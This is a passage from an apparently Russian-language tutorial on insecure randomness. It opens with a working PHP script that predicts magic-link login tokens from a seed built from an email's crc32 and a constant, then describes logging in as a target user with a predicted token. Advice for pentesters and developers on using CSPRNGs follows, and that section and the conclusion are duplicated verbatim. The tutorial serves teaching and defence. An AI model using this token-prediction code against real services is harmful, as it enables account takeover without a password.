Скопируйте и вставьте следующий PHP-код в файл с именем magic_link_login.php, а затем выполните команду php -S 0.0.0.0:8181, чтобы запустить встроенный веб-сервер PHP и получить доступ к скрипту. Этот скрипт генерирует 10 токенов на основе seed, состоящего из константы и адреса электронной почты. Скрипт принимает константу и email в качестве входных данных и создает соответствующие токены. Для использования скрипта откройте следующий URL с вашими параметрами:
http://att1/magic_link_login.php?email={email}&constant={constant}
Код:
<?php
if (isset($_GET['email']) && isset($_GET['constant']) && is_numeric($_GET['constant'])) {
$email = $_GET['email'];
$constant = (int)$_GET['constant'];
if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
$seed = crc32($email) + $constant;
mt_srand($seed);
echo "<h3>Predicted Magic Link Tokens for $email</h3>";
for ($i = 0; $i < 10; $i++) {
$random_number = mt_rand();
$token = base64_encode($random_number);
echo "Predicted magic link token " . ($i + 1) . ": " . $token . "<br>";
}
} else {
echo "<div style='color:red;'>Invalid email format. Please provide a valid email.</div>";
}
} else {
echo "<div style='color:red;'>Please provide valid GET parameters: 'email' (valid email address) and 'constant' (numeric value).</div>";
}
?>
Теперь, когда у вас есть предсказанный токен, вы можете войти в систему как целевой пользователь. Просто перейдите по ссылке Magic link http://rand90/case/magic_link_login.php?token={predicted_token} с предсказанным токеном, чтобы войти без необходимости знать пароль.
При обсуждении лучших практик по выявлению и устранению небезопасной случайности важно учитывать как точку зрения пентестеров, так и разработчиков безопасного кода, поскольку их подходы и ответственность различаются.
Для пентестеров:
Выявление слабых источников случайности в коде: При анализе кода или оценке приложений обращайте внимание на использование ненадежных генераторов случайных чисел, таких как mt_rand() или rand(), особенно если они применяются для генерации критически важных данных, таких как токены сессий или ссылки для сброса пароля.
Обратная разработка предсказуемых токенов: Исследуйте начальные значения (seed), используемые в псевдослучайных генераторах (PRNG). Инструменты, такие как php_mt_seed, могут помочь воссоздать предсказуемые токены (например, "магические" ссылки). Проверяйте, используются ли слабые или предсказуемые начальные значения, такие как временные метки, IP-адреса или данные пользователя.
Тестирование исчерпания токенов: Если криптографически стойкие генераторы случайных чисел (CSPRNG) не применяются, проводите атаки методом перебора или повторного использования токенов, идентификаторов сессий или других функций, зависящих от случайности. Убедитесь, что токены невозможно угадать или предсказать.
Для разработчиков безопасного кода:
Использование криптографически стойких генераторов случайных чисел: Всегда применяйте CSPRNG, такие как random_bytes() или openssl_random_pseudo_bytes() в PHP, или java.security.SecureRandom в Java. Эти генераторы предназначены для создания непредсказуемых значений, подходящих для критически важных задач, таких как токены сессий, ключи API или ссылки для сброса пароля.
Избегание предсказуемых начальных значений: Не используйте предсказуемые значения, такие как текущая временная метка, IP-адрес или идентификатор процесса, для инициализации генераторов случайных чисел. Вместо этого полагайтесь на криптографические источники энтропии или системные источники случайности (например, /dev/urandom в Linux).
Генерация уникальных случайных данных для каждой операции: Избегайте повторного использования случайных значений или начальных точек для разных запросов или пользователей. Генерируйте новые случайные данные для каждой операции, требующей безопасности, таких как управление сессиями, сброс пароля или "магические" ссылки.
Использование надежных алгоритмов для генерации ключей: При создании криптографических ключей всегда применяйте безопасные функции генерации, которые используют сильные источники энтропии. Например, в PHP можно использовать openssl_pkey_new() для генерации RSA-ключей, который опирается на криптографически стойкую случайность.
Заключение:
Благодаря тщательному тестированию и соблюдению безопасных практик разработки, как пентестеры, так и разработчики могут устранить уязвимости, связанные с небезопасной случайностью.
Мы рассмотрели ключевые аспекты небезопасной случайности, начиная с основных концепций. Затем изучили различия между аппаратными генераторами истинной случайности (TRNG) и псевдослучайными генераторами (PRNG), подчеркнув их важность для систем безопасности. На практических примерах продемонстрировали, как слабая энтропия и предсказуемые начальные значения могут привести к серьезным уязвимостям, таким как компрометация учетных записей. В завершение рассмотрели лучшие практики для разработчиков и пентестеров, направленные на защиту от небезопасной случайности.
Помните, что осведомленность и применение надежных методов — ключ к обеспечению безопасности цифровых приложений.
При обсуждении лучших практик по выявлению и устранению небезопасной случайности важно учитывать как точку зрения пентестеров, так и разработчиков безопасного кода, поскольку их подходы и ответственность различаются.
Для пентестеров:
Выявление слабых источников случайности в коде: При анализе кода или оценке приложений обращайте внимание на использование ненадежных генераторов случайных чисел, таких как mt_rand() или rand(), особенно если они применяются для генерации критически важных данных, таких как токены сессий или ссылки для сброса пароля.
Обратная разработка предсказуемых токенов: Исследуйте начальные значения (seed), используемые в псевдослучайных генераторах (PRNG). Инструменты, такие как php_mt_seed, могут помочь воссоздать предсказуемые токены (например, "магические" ссылки). Проверяйте, используются ли слабые или предсказуемые начальные значения, такие как временные метки, IP-адреса или данные пользователя.
Тестирование исчерпания токенов: Если криптографически стойкие генераторы случайных чисел (CSPRNG) не применяются, проводите атаки методом перебора или повторного использования токенов, идентификаторов сессий или других функций, зависящих от случайности. Убедитесь, что токены невозможно угадать или предсказать.
Для разработчиков безопасного кода:
Использование криптографически стойких генераторов случайных чисел: Всегда применяйте CSPRNG, такие как random_bytes() или openssl_random_pseudo_bytes() в PHP, или java.security.SecureRandom в Java. Эти генераторы предназначены для создания непредсказуемых значений, подходящих для критически важных задач, таких как токены сессий, ключи API или ссылки для сброса пароля.
Избегание предсказуемых начальных значений: Не используйте предсказуемые значения, такие как текущая временная метка, IP-адрес или идентификатор процесса, для инициализации генераторов случайных чисел. Вместо этого полагайтесь на криптографические источники энтропии или системные источники случайности (например, /dev/urandom в Linux).
Генерация уникальных случайных данных для каждой операции: Избегайте повторного использования случайных значений или начальных точек для разных запросов или пользователей. Генерируйте новые случайные данные для каждой операции, требующей безопасности, таких как управление сессиями, сброс пароля или "магические" ссылки.
Использование надежных алгоритмов для генерации ключей: При создании криптографических ключей всегда применяйте безопасные функции генерации, которые используют сильные источники энтропии. Например, в PHP можно использовать openssl_pkey_new() для генерации RSA-ключей, который опирается на криптографически стойкую случайность.
Заключение:
Благодаря тщательному тестированию и соблюдению безопасных практик разработки, как пентестеры, так и разработчики могут устранить уязвимости, связанные с небезопасной случайностью.
Мы рассмотрели ключевые аспекты небезопасной случайности, начиная с основных концепций. Затем изучили различия между аппаратными генераторами истинной случайности (TRNG) и псевдослучайными генераторами (PRNG), подчеркнув их важность для систем безопасности. На практических примерах продемонстрировали, как слабая энтропия и предсказуемые начальные значения могут привести к серьезным уязвимостям, таким как компрометация учетных записей. В завершение рассмотрели лучшие практики для разработчиков и пентестеров, направленные на защиту от небезопасной случайности.
Помните, что осведомленность и применение надежных методов — ключ к обеспечению безопасности цифровых приложений.